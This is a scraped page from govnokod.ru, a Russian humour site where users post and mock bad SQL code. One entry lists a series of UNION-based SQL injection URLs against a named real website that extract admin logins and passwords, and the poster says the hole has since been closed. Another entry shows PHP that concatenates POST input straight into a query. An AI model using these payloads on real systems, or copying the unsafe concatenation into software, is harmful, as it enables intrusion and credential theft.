- 1
- 2
- 3
- 4
- 5
- 6
SELECT DISTINCT
IF(`Дебет` <> 0, CONVERT('Расход' USING cp1251), CONVERT('Приход' USING cp1251)) AS value
FROM payments
ORDER BY
value
LIMIT 0,2;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−114
SELECT DISTINCT
IF(`Дебет` <> 0, CONVERT('Расход' USING cp1251), CONVERT('Приход' USING cp1251)) AS value
FROM payments
ORDER BY
value
LIMIT 0,2;
Получение доступных видов операций ('Приход', 'Расход')
−113
SELECT `index`,`title`,`date` FROM news WHERE `groups` LIKE '".$group.",%' or `groups` LIKE '%,".$group.",%' ORDER BY index desc
Организация связей таблиц новостей и групп. Поле groups содержит в себе инфу вида "3,43,34,54,56,".
−119
$query = "SELECT * FROM ns_preces".
" inner join ns_group on".
" ns_group.groupid=ns_preces.groupid".
" WHERE (assortiment=1) ".$group_case." and (proizvod like '%".$_POST["find"]."%' or model like '%".$_POST["find"]."%')";
$view_type=4;
Если значение поля FIND избавляем от пробелов с помощью JavaScrip, разбивается слово в t убираются пробелы, как несколько значений скормить такому запросу ?
−108
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13 --
http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13 --
Собственно говоря вспомнил лихие времена.
Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).
−861
/* Formatted on 2011/05/11 16:11 (Formatter Plus v4.8.7) */
CREATE SEQUENCE tmpseq
/
CREATE TABLE tmpt(a NUMBER, b NUMBER)
/
CREATE OR REPLACE TRIGGER tmpt_bi
BEFORE INSERT
ON tmpt
REFERENCING NEW AS NEW OLD AS OLD
FOR EACH ROW
BEGIN
IF :NEW.a IS NULL
THEN
SELECT tmpseq.NEXTVAL
INTO :NEW.a
FROM DUAL;
END IF;
END;
/
DECLARE
l_a tmpt.a%TYPE;
n NUMBER;
BEGIN
FOR n IN 5 .. 8
LOOP
INSERT INTO tmpt
(b
)
VALUES (n
)
RETURNING a
INTO l_a;
DBMS_OUTPUT.put_line (l_a);
END LOOP;
END;
/
select * from tmpt
/
DROP TRIGGER tmpt_bi
/
DROP TABLE tmpt
/
DROP SEQUENCE tmpseq
/
COMMIT
иногда я не верю мануалам и проверяю себя небольшими кусочками кода. на этот раз я проверил конструкцию returning
−187
p.name LIKE '0%'
OR p.name LIKE '1%'
OR p.name LIKE '2%'
OR p.name LIKE '3%'
OR p.name LIKE '4%'
OR p.name LIKE '5%'
OR p.name LIKE '6%'
OR p.name LIKE '7%'
OR p.name LIKE '8%'
OR p.name LIKE '9%'
часть запроса для поиска по названию, начинающемуся с цифры
−850
-- Таблица в БД имеет колонку Visible, при этом значение 0 означает "Видим", а 1 - "Не видим"
−864
comment on column XXX.status
is '0 -- вопрос включен, 1-- выкл';
−860
-- Из простого...
select kdet, cexnum, cex, last_value(cex) over(partition by kdet) as final_cex
from xxtpa_rout_aztpa_v;
-- Сделаем сложное...
select t.*, max(max_cex) over(partition by kdet, rout_num) max_cex
from (select t.*, case cex_num when max(cex_num) over(partition by t.kdet, t.rout_num) then t.cex else null end max_cex
from xxtpa_rout_aztpa_v t) t;
Пример того, как НЕ применять KISS-принцип.
−860
select
(CASE WHEN d.t1_aup_f IS NULL THEN (
CASE WHEN (lag(sum(d.t1_aup_f),1) over (order by d.real_day)) IS NULL THEN (
CASE WHEN (lag(sum(d.t1_aup_f),2) over (order by d.real_day)) IS NULL THEN (
/* ... */
CASE WHEN (lag(sum(d.t1_aup_f),28) over (order by d.real_day)) IS NULL THEN (
CASE WHEN (lag(sum(d.t1_aup_f),29) over (order by d.real_day)) IS NULL THEN
lag(sum(d.t1_aup_f),30) over (order by d.real_day )
ELSE (lag(sum(d.t1_aup_f),29) over (order by d.real_day)) END)
ELSE (lag(sum(d.t1_aup_f),28) over (order by d.real_day)) END)
ELSE (lag(sum(d.t1_aup_f),27) over (order by d.real_day)) END)
/* ... */
ELSE (lag(sum(d.t1_aup_f),2) over (order by d.real_day)) END)
ELSE (lag(sum(d.t1_aup_f),1) over (order by d.real_day)) END)
ELSE d.t1_aup_f END) gf_1
from sometable
таких полей было больше. тут http://paste.org.ru/?zlc3b8 - целиком. для полноты картины. надеюсь, не я написал, хотя... ))))